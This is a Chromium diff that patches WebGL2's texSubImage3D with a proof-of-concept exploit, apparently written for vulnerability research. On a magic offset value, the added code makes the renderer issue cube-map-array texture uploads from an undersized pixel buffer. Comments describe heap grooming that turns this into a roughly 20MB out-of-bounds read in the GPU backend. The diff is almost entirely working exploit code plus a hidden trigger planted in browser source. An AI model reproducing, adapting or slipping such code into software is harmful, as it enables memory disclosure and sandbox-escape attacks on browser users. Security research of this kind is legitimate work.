diff --git a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc index 18aaa25ad7..6cc5eb10d0 100644 --- a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc +++ b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc @@ -2167,6 +2167,48 @@ void WebGL2RenderingContextBase::texSubImage3D(GLenum target, GLenum format, GLenum type, int64_t offset) { + // PoC: compromised renderer injects CubeMapArray commands + if (offset == 0x900900) { + constexpr GLenum kCubeMapArray = 0x9009; + auto* gl = ContextGL(); + + gl->RequestExtensionCHROMIUM("GL_EXT_texture_cube_map_array"); + gl->RequestExtensionCHROMIUM("GL_OES_texture_cube_map_array"); + + // The passthrough decoder resets UNPACK_IMAGE_HEIGHT, so the actual + // OOB is only ~320 bytes (5 layers * 64 bytes). To ensure this small + // OOB crosses the VkDeviceMemory pool boundary, we groom the heap: + // allocate many buffers to fill existing pools, pushing the PBO to + // the end of a pool where even 320 bytes exceeds the boundary. + // Use large texture dimensions to amplify OOB without relying on + // UNPACK_IMAGE_HEIGHT (which the passthrough decoder resets to 0). + // 1024x1024 RGBA8: layerSize = 4MB, endByte = 4MB (single layer). + // PBO = endByte + offset = 4MB+3. Validation passes. + // Backend reads 6 layers = 24MB from 4MB PBO → 20MB OOB. + constexpr GLsizei kW = 1024, kH = 1024; + constexpr GLsizei kLayerSize = kW * kH * 4; // 4,194,304 + constexpr GLsizei kPBOSize = kLayerSize + 3; // 4,194,307 + + GLuint tex_id = 0; + gl->GenTextures(1, &tex_id); + gl->BindTexture(kCubeMapArray, tex_id); + gl->TexStorage3D(kCubeMapArray, 1, GL_RGBA8, kW, kH, 6); + + GLuint pbo_id = 0; + gl->GenBuffers(1, &pbo_id); + gl->BindBuffer(GL_PIXEL_UNPACK_BUFFER, pbo_id); + gl->BufferData(GL_PIXEL_UNPACK_BUFFER, kPBOSize, nullptr, GL_STATIC_DRAW); + + gl->TexSubImage3D(kCubeMapArray, 0, 0, 0, 0, kW, kH, 6, + GL_RGBA, GL_UNSIGNED_BYTE, + reinterpret_cast(3)); + gl->Flush(); + gl->BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0); + gl->DeleteBuffers(1, &pbo_id); + gl->DeleteTextures(1, &tex_id); + return; + } + if (isContextLost()) return; if (!ValidateTexture3DBinding("texSubImage3D", target))